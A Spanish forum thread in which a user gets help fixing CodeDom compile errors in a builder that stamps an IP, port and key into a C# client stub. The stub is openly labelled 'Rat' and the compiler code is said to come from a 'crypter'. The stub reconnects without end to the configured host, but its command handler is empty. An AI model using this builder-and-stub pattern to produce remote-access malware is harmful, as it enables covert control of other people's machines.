Compilar un código a partir de un string?

Iniciado por nevachana, 18 Agosto 2015, 21:49 PM

0 Miembros y 1 Visitante están viendo este tema.

nevachana

Hola,tengo un .txt que lo convierto en un string el cual quiero compilar

Código (csharp) [Seleccionar]
SaveFileDialog FSave = new SaveFileDialog()
            {
                Filter = "Executable Files|*.exe",
                InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            };
            if (FSave.ShowDialog() == DialogResult.OK)
            {
                string source = Properties.Resources.client;
                source = source.Replace("<replace_ip>", ipTxt.Text);
                source = source.Replace("2341", portTxt.Text);
                source = source.Replace("<replace_key", keyTxt.Text);
                source = source.Replace("<replace_name>", nameTxt.Text);
                string ResFile = Path.Combine(Application.StartupPath, "Encrypted.resources");
                bool success = Compiler.CompileFromSource(source, FSave.FileName);
            }


Compiler class ( la encontré en un crypter ).

Código (csharp) [Seleccionar]
public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
        {
            // We declare the new compiler parameters variable
            // that will contain all settings for the compilation.
            CompilerParameters CParams = new CompilerParameters();

            // We want an executable file on disk.
            CParams.GenerateExecutable = true;
            // This is where the compiled file will be saved into.
            CParams.OutputAssembly = Output;

            // We need these compiler options, we will use code optimization,
            // compile as a x86 process and our target is a windows form.
            // The unsafe keyword is used because the stub contains pointers and
            // unsafe blocks of code.
            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
            // If the icon is not null (as we initialize it), add the corresponding option.
            if (Icon != null)
                options += " /win32icon:\"" + Icon + "\"";

            // Set the options.
            CParams.CompilerOptions = options;
            // We don't care about warnings, we don't need them to show as errors.
            CParams.TreatWarningsAsErrors = false;

            // Add the references to the libraries we use so we can have access
            // to their namespaces.
            CParams.ReferencedAssemblies.Add("System.dll");
            CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            CParams.ReferencedAssemblies.Add("System.Drawing.dll");
            CParams.ReferencedAssemblies.Add("System.Data.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");

            // Check if the user specified any resource files.
            // If yes, add then to the stub's resources.
            if (Resources != null && Resources.Length > 0)
            {
                // Loop through all resource files specified in the Resources[] array.
                foreach (string res in Resources)
                {
                    // Add each resource file to the compiled stub.
                    CParams.EmbeddedResources.Add(res);
                }
            }

            // Dictionary variable is used to tell the compiler that we want
            // our file to be compiled for .NET v2
            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
            ProviderOptions.Add("CompilerVersion", "v2.0");

            // Now, we compile the code and get the result back in the "Results" variable
            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
           
            // Check if any errors occured while compiling.
            if (Results.Errors.Count > 0)
            {
                // Errors occured, notify the user.
                MessageBox.Show(string.Format("The compiler has encountered {0} errors",
                    Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
                    MessageBoxIcon.Error);

                // Now loop through all errors and show them to the user.
                foreach (CompilerError Err in Results.Errors)
                {
                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
                        Err.Line, Err.Column, Err.FileName), "Error",
                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;

            }
            else
            {
                // No error was found, return true.
                return true;
            }
           
        }


El problema es que me da errores en el código al compilarlo,no obstante si lo compilo de forma normal no me da ningún error.

Eleкtro

#1



Cita de: nevachana en 18 Agosto 2015, 21:49 PMEl problema es que me da errores en el código al compilarlo,no obstante si lo compilo de forma normal no me da ningún error.

No somos adivinos, por favor no me hagas repetirte esto en el futuro.

Cómo mínimo da los detalles necesarios y esenciales cuando tengas "X" error, muestra el o los mensajes de error, que no tengamos que estar preguntándote por algo tan básico para poder entender que error tienes y ofrecerte ayuda.




El código que has mostrado es literálmente nada, ya que un código fuente necesita seguir una estructura para poder ser compilado.

Esto sería un ejemplo de un código compilable, una aplicación de consola, donde cómo ves hay un punto de entrada (método Main) dentro de una clase que a su vez está dentro de un espacio de nombres:
Código (csharp) [Seleccionar]
using System;

namespace MainNamespace
{
   class MainClass
   {
       static void Main(string[] args)
       {
          // Tú código aquí.
       }
   }
}


Aparte de eso, recuerda que estás dependiendo del namespace System.Windows.Forms (SaveFileDialog), por lo que aparte de añadir la referencia a dicho ensamblado usando los parámetros del compilador, debes añadir la correspondiente directiva using en tu código fuente, y lo mismo con cualqueir otro namespace que requieras.

Por último, en el proveedor debes especificar el nombre completo del miembro principal, que en el código de ejemplo que he mostrado sería el siguiente:
Código (csharp) [Seleccionar]
...
CodedomProvider provider = new CSharpCodeProvider();
provider.MainClass = "MainNamespace.MainClass";
...


EDITO:
Y esta instrucción, elimínala, aparte de que no hay necesidad de compilar bajo NetFx 2.0, si utilizas ensamblados que requieran una versión superior (ej: System.Linq.dll) no podrás compilar. Deja que la lógica del proveedor elija la versión adecuada por si mismo:
Citar
Código (csharp) [Seleccionar]
ProviderOptions.Add("CompilerVersion", "v2.0");

Aquí puedes ver un ejemplo más detallado que desarrollé:
Librería de Snippets para VB.Net !!

Saludos.








nevachana

Cita de: Eleкtro en 19 Agosto 2015, 06:47 AM



No somos adivinos, por favor no me hagas repetirte esto en el futuro.

Cómo mínimo da los detalles necesarios y esenciales cuando tengas "X" error, muestra el o los mensajes de error, que no tengamos que estar preguntándote por algo tan básico para poder entender que error tienes y ofrecerte ayuda.




El código que has mostrado es literálmente nada, ya que un código fuente necesita seguir una estructura para poder ser compilado.

Esto sería un ejemplo de un código compilable, una aplicación de consola, donde cómo ves hay un punto de entrada (método Main) dentro de una clase que a su vez está dentro de un espacio de nombres:
Código (csharp) [Seleccionar]
using System;

namespace MainNamespace
{
   class MainClass
   {
       static void Main(string[] args)
       {
          // Tú código aquí.
       }
   }
}


Aparte de eso, recuerda que estás dependiendo del namespace System.Windows.Forms (SaveFileDialog), por lo que aparte de añadir la referencia a dicho ensamblado usando los parámetros del compilador, debes añadir la correspondiente directiva using en tu código fuente, y lo mismo con cualqueir otro namespace que requieras.

Por último, en el proveedor debes especificar el nombre completo del miembro principal, que en el código de ejemplo que he mostrado sería el siguiente:
Código (csharp) [Seleccionar]
...
CodedomProvider provider = new CSharpCodeProvider();
provider.MainClass = "MainNamespace.MainClass";
...


EDITO:
Y esta instrucción, elimínala, aparte de que no hay necesidad de compilar bajo NetFx 2.0, si utilizas ensamblados que requieran una versión superior (ej: System.Linq.dll) no podrás compilar. Deja que la lógica del proveedor elija la versión adecuada por si mismo:
Aquí puedes ver un ejemplo más detallado que desarrollé:
Librería de Snippets para VB.Net !!

Saludos.
Perdón,aquí va mi segundo intento.
Quiero dar la opción al usuario que use de mi programa de poder crear su propio server,y para ello edita el client a la respectiva ip y puerto.

Código del client:

Código (csharp) [Seleccionar]
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace Rat
{
    class Client
    {
        private string ipG = @"<replace_ip>";
        private int portG = 2341;
        private string keyG = @"<replace_key";
        private string nameG = @"<replace_name>";
        static void Main(string[] args)
        {
            Client cl = new Client();
            cl.tryConexion(cl.ipG, cl.portG,false);
        }
        public string tryConexion(string ip, int port,bool isTest)
        {
            try
            {
                TcpClient client = new TcpClient(ip, port);
                if(isTest == false)
                handlePackets(client);
                return "Conexion works";

            }
            catch
            {
                if(isTest == false)
                tryConexion(ip, port,false);
                return "deny";
            }
        }
        public void handlePackets(TcpClient client)
        {
            try
            {
                NetworkStream stream = client.GetStream();
                Byte[] buffer = new Byte[client.Available];
                while (client.Connected)
                {
                    buffer = new Byte[client.Available];
                    stream.Read(buffer, 0, buffer.Length);
                    doAction(Encoding.ASCII.GetString(buffer));
                    stream.Flush();
                    Thread.Sleep(1);
                }
            }
            catch
            {
                tryConexion(ipG, portG,false);
            }
        }
        public void doAction(string packet)
        {
            string[] packetParam = packet.Split('<');
            switch (packet)
            {
            }
        }

    }
}
,El código del client lo guardo en un .txt en la carpeta resources y luego lo convierto en string.

Código (csharp) [Seleccionar]
string source = Properties.Resources.client;

después lo edito siguiendo los datos que haya dado el usuario

Código (csharp) [Seleccionar]
                source = source.Replace("<replace_ip>", ipTxt.Text);
                source = source.Replace("2341", portTxt.Text);
                source = source.Replace("<replace_key", keyTxt.Text);
                source = source.Replace("<replace_name>", nameTxt.Text);


y finalmente lo intento compilar:

Código (csharp) [Seleccionar]
bool success = Compiler.CompileFromSource(source, FSave.FileName);

Y aquí lo que lo compila

Código (csharp) [Seleccionar]
   public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
        {
            CompilerParameters CParams = new CompilerParameters();
            CParams.GenerateExecutable = true;
            CParams.OutputAssembly = Output;
            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
            if (Icon != null)
                options += " /win32icon:\"" + Icon + "\"";
            CParams.CompilerOptions = options;
           CParams.TreatWarningsAsErrors = false;
            CParams.ReferencedAssemblies.Add("System.dll");
            CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            CParams.ReferencedAssemblies.Add("System.Drawing.dll");
            CParams.ReferencedAssemblies.Add("System.Data.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
            CParams.ReferencedAssemblies.Add("System.Net.dll");
            CParams.ReferencedAssemblies.Add("System.Net.Sockets.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.Text.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.Threading.dll");
            if (Resources != null && Resources.Length > 0)
            {
                foreach (string res in Resources)
                {
                    CParams.EmbeddedResources.Add(res);
                }
            }
            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
            ProviderOptions.Add("CompilerVersion", "v4.0");
            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
            if (Results.Errors.Count > 0)
            {
                MessageBox.Show(string.Format("The compiler has encountered {0} errors",
                    Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
                foreach (CompilerError Err in Results.Errors)
                {
                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
                        Err.Line, Err.Column, Err.FileName), "Error",
                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;

            }
            else
            {
                return true;
            }

        }


Y al compilar,me da estos errores:
https://gyazo.com/4d0dfac4a26487fc096390f835ec6930

Debo de poner los dll junto al programa?

Eleкtro

#3
Cita de: nevachana en 19 Agosto 2015, 10:16 AMDebo de poner los dll junto al programa?

No, solo es necesario tener .Net Framework 4.0 instalado en el sistema operativo (puesto que estás compilando para esa versión).

El motivo por el cual el compilador te devuelve errores es por que aquí has escrito varios ensamblados que no existen:
Citar
Código (csharp) [Seleccionar]
CParams.ReferencedAssemblies.Add("System.Net.Sockets.dll");
CParams.ReferencedAssemblies.Add("Microsoft.Text.dll");
CParams.ReferencedAssemblies.Add("Microsoft.Threading.dll");

Microsoft.Threading.dll y Microsoft.Text.dll en realidad se escriben System.Threading y System.Text tal y como ya lo tienes escrito en las importaciones de la class client, pero no son librerías, son nombres de espacios contenidos en la librería System.dll. Lo mismo ocurre con System.Net.Sockets.

De todas esas librerías que añades, en realidad solo necesitas añadir las librerías System.dll y System.Net.dll, arregla eso, vuelve a intentar compilar y muestra el nuevo error en caso de que tuvieras alguno.

Aparte de eso, estás intentando compilar una app de consola pero has configurado los parámetros del compiler para que genere un exe con interfáz gráfica. elimina esto:
Citar/target:winexe

Además, vuelvo a recordarte que debes indicarle al compiler el nombre completo del miembro principal del código fuente en donde se encuentra el entry point (es decir, Rat.Client) cómo en el ejemplo que te mostré. Te muestro otro ejemplo:

Código (vbnet) [Seleccionar]
Dim cResult As CompilerResults
Dim pOptions As New Dictionary(Of String, String)() From {{"CompilerVersion", "v4.0"}}
Using cProvider As CodeDomProvider = New CSharpCodeProvider(pOptions)

    Dim cParams As New CompilerParameters()

    If cProvider.Supports(GeneratorSupport.EntryPointMethod) Then
        cParams.MainClass = "Rat.Client"
    End If

    cResult = cProvider.CompileAssemblyFromSource(cParams, source)

End Using

Dim warnings As IEnumerable(Of CompilerError) =
    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
    Where ce.IsWarning

Dim errors As IEnumerable(Of CompilerError) =
    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
    Where Not ce.IsWarning


Conversión online a C#:
Código (csharp) [Seleccionar]
CompilerResults cResult = default(CompilerResults);
Dictionary<string, string> pOptions = new Dictionary<string, string> { {"CompilerVersion", "v4.0"} };
using (CodeDomProvider cProvider = new CSharpCodeProvider(pOptions)) {

CompilerParameters cParams = new CompilerParameters();

if (cProvider.Supports(GeneratorSupport.EntryPointMethod)) {
cParams.MainClass = "Rat.Client";
}

cResult = cProvider.CompileAssemblyFromSource(cParams, source);
}

IEnumerable<CompilerError> warnings = from ce in cResult.Errors.Cast<CompilerError>() where ce.IsWarning;
IEnumerable<CompilerError> errors = from ce in cResult.Errors.Cast<CompilerError>() where !ce.IsWarning;

//=======================================================
//Service provided by Telerik (www.telerik.com)
//=======================================================


Saludos








nevachana

Cita de: Eleкtro en 19 Agosto 2015, 14:54 PM
No, solo es necesario tener .Net Framework 4.0 instalado en el sistema operativo (puesto que estás compilando para esa versión).

El motivo por el cual el compilador te devuelve errores es por que aquí has escrito varios ensamblados que no existen:
Microsoft.Threading.dll y Microsoft.Text.dll en realidad se escriben System.Threading y System.Text tal y como ya lo tienes escrito en las importaciones de la class client, pero no son librerías, son nombres de espacios contenidos en la librería System.dll. Lo mismo ocurre con System.Net.Sockets.

De todas esas librerías que añades, en realidad solo necesitas añadir las librerías System.dll y System.Net.dll, arregla eso, vuelve a intentar compilar y muestra el nuevo error en caso de que tuvieras alguno.

Aparte de eso, estás intentando compilar una app de consola pero has configurado los parámetros del compiler para que genere un exe con interfáz gráfica. elimina esto:
Además, vuelvo a recordarte que debes indicarle al compiler el nombre completo del miembro principal del código fuente en donde se encuentra el entry point (es decir, Rat.Client) cómo en el ejemplo que te mostré. Te muestro otro ejemplo:

Código (vbnet) [Seleccionar]
Dim cResult As CompilerResults
Dim pOptions As New Dictionary(Of String, String)() From {{"CompilerVersion", "v4.0"}}
Using cProvider As CodeDomProvider = New CSharpCodeProvider(pOptions)

    Dim cParams As New CompilerParameters()

    If cProvider.Supports(GeneratorSupport.EntryPointMethod) Then
        cParams.MainClass = "Rat.Client"
    End If

    cResult = cProvider.CompileAssemblyFromSource(cParams, source)

End Using

Dim warnings As IEnumerable(Of CompilerError) =
    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
    Where ce.IsWarning

Dim errors As IEnumerable(Of CompilerError) =
    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
    Where Not ce.IsWarning


Conversión online a C#:
Código (csharp) [Seleccionar]
CompilerResults cResult = default(CompilerResults);
Dictionary<string, string> pOptions = new Dictionary<string, string> { {"CompilerVersion", "v4.0"} };
using (CodeDomProvider cProvider = new CSharpCodeProvider(pOptions)) {

CompilerParameters cParams = new CompilerParameters();

if (cProvider.Supports(GeneratorSupport.EntryPointMethod)) {
cParams.MainClass = "Rat.Client";
}

cResult = cProvider.CompileAssemblyFromSource(cParams, source);
}

IEnumerable<CompilerError> warnings = from ce in cResult.Errors.Cast<CompilerError>() where ce.IsWarning;
IEnumerable<CompilerError> errors = from ce in cResult.Errors.Cast<CompilerError>() where !ce.IsWarning;

//=======================================================
//Service provided by Telerik (www.telerik.com)
//=======================================================


Saludos
Muchísimas gracias! ya lo solucioné ^^!